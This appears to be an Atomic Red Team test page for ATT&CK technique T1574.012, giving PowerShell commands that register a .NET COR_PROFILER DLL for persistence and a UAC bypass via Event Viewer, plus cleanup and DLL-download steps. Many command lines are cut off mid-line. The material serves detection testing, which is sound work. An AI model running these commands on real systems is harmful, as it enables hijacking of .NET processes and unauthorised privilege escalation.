

# T1574.012 - COR\_PROFILER

## Description from ATT&CK

Adversaries may leverage the COR\_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR\_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR\_PROFILER Feb 2013)

The COR\_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](#) (COM) object can be registered as a profiler DLL. A process scope COR\_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR\_PROFILER\_PATH environment variable. (Citation: Microsoft COR\_PROFILER Feb 2013)

Adversaries may abuse COR\_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR\_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](#)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](#) provided by .NET processes. (Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR\_PROFILER May 2020) (Citation: Almond COR\_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

## Atomic Tests

- [Atomic Test #1 - User scope COR\\_PROFILER](#)
- [Atomic Test #2 - System Scope COR\\_PROFILER](#)
- [Atomic Test #3 - Registry-free process scope COR\\_PROFILER](#)

### Atomic Test #1 - User scope COR\_PROFILER

Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR\_PROFILER). The unmanaged profiler DLL ( T1574.012x64.dll ) executes when the CLR is loaded by the Event Viewer process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing notepad.exe with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

Reference: [https://redcanary.com/blog/cor\\_profiler-for-persistence/](https://redcanary.com/blog/cor_profiler-for-persistence/)

**Supported Platforms:** Windows

**auto\_generated\_guid:** 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a

**Inputs:**

Name	Description	Type	Default Value
file_name	unmanaged profiler DLL	Path	PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll

clsid_guid	custom clsid guid	String	{09108e71-974c-4010-89cb-acf471ae9e2c}
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### Attack Commands: Run with powershell !

```
Write-Host "Creating registry keys in HKCU:\Software\Classes\CLSID\#{clsid_guid}" -l
New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value ;
New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType
New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String
New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType S
Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
START MMC.EXE EVENTVWR.MSC
```

### Cleanup Commands:

```
Remove-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}" -Recurse -Force -Er
Remove-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -Force -E
Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -Force -ErrorActi
Remove-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -Force -Error
```

### Dependencies: Run with powershell !

Description: #{file\_name} must be present

### Check Prereq Commands:

```
if (Test-Path #{file_name}) {exit 0} else {exit 1}
```

### Get Prereq Commands:

```
New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic
```

## Atomic Test #2 - System Scope COR\_PROFILER

Creates system scope environment variables to enable a .NET profiler (COR\_PROFILER). System scope environment variables require a restart to take effect. The unmanaged profiler DLL (T1574.012x64.dll ) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

Reference: [https://redcanary.com/blog/cor\\_profiler-for-persistence/](https://redcanary.com/blog/cor_profiler-for-persistence/)

**Supported Platforms:** Windows

**auto\_generated\_guid:** f373b482-48c8-4ce4-85ed-d40c8b3f7310

**Inputs:**

Name	Description	Type	Default Value
file_name	unmanaged profiler DLL	Path	PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
clsid_guid	custom clsid guid	String	{09108e71-974c-4010-89cb-acf471ae9e2c}

**Attack Commands:** Run with powershell ! Elevation Required (e.g. root or admin)

```
Write-Host "Creating system environment variables" -ForegroundColor Cyan
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Env:
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Env:
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Env:
```



**Cleanup Commands:**

```
Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\I
Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\I
Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\I
```



**Dependencies:** Run with powershell !

**Description:** #{file\_name} must be present

**Check Prereq Commands:**

```
if (Test-Path #{file_name}) {exit 0} else {exit 1}
```



#### Get Prereq Commands:

```
New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null  
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic"
```



## Atomic Test #3 - Registry-free process scope COR\_PROFILER

Creates process scope environment variables to enable a .NET profiler (COR\_PROFILER) without making changes to the registry. The unmanaged profiler DLL ( T1574.012x64.dll ) executes when the CLR is loaded by PowerShell.

Reference: [https://redcanary.com/blog/cor\\_profiler-for-persistence/](https://redcanary.com/blog/cor_profiler-for-persistence/)

Supported Platforms: Windows

auto\_generated\_guid: 79d57242-bbef-41db-b301-9d01d9f6e817

#### Inputs:

Name	Description	Type	Default Value
file_name	unamanged profiler DLL	Path	PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
clsid_guid	custom clsid guid	String	{09108e71-974c-4010-89cb-acf471ae9e2c}

#### Attack Commands: Run with powershell !

```
$env:COR_ENABLE_PROFILING = 1  
$env:COR_PROFILER = '#{clsid_guid}'  
$env:COR_PROFILER_PATH = '#{file_name}'  
POWERSHELL -c 'Start-Sleep 1'
```



## Cleanup Commands:

```
$env:COR_ENABLE_PROFILING = 0  
$env:COR_PROFILER = ''  
$env:COR_PROFILER_PATH = ''
```



Dependencies: Run with **powershell**!

Description: #{file\_name} must be present

## Check Prereq Commands:

```
if (Test-Path #{file_name}) {exit 0} else {exit 1}
```



## Get Prereq Commands:

```
New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null  
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic
```

